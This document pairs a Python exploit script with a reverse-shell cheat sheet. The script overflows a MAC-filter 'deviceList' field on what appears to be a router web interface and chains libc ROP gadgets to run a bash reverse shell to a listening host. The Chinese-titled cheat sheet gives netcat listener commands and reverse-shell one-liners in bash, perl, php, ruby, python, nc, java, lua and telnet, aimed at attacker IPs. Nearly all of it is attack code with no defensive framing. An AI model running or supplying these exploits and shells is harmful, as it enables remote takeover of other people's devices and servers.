libc_base = 0xf659b000
system  = libc_base + 0x0005a270
gadget1 = libc_base + 0x00018298
gadget2 = libc_base + 0x00040cb8
cmd = b'bash -i >& /dev/tcp/192.168.43.13/4444 0>&1'

p = b'A' * 0xA8
p += b'DDDD'
p += b'EEEE'
p += p32(gadget1)
p += p32(system)
p += p32(gadget2)
p += cmd

d = {"macFilterType": "black", "deviceList": '\r'+ p}
r = requests.post(url, cookies = c, data = d)

print(r.text)

反弹shell大全

在服务器上开启监听:

nc -lvnp 4444
nc -vvlp 4444

目标机器开启反弹

bash版本:

bash -i >& /dev/tcp/your_server_ip/port 0>&1

perl版本:

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

php版本:

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby版本:

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

python版本:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

nc版本:

nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999

java版本:

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

lua版本:

lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

NC版本不使用-e参数:

mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe | nc x.x.x.x 4444 1>/tmp/backpipe
 /bin/bash -i > /dev/tcp/173.214.173.151/8080 0<&1 2>&1
 mknod backpipe p && telnet 173.214.173.151 8080 0backpipe

参考:

https://www.anquanke.com/post/id/204403

https://www.jb51.net/article/118423.htm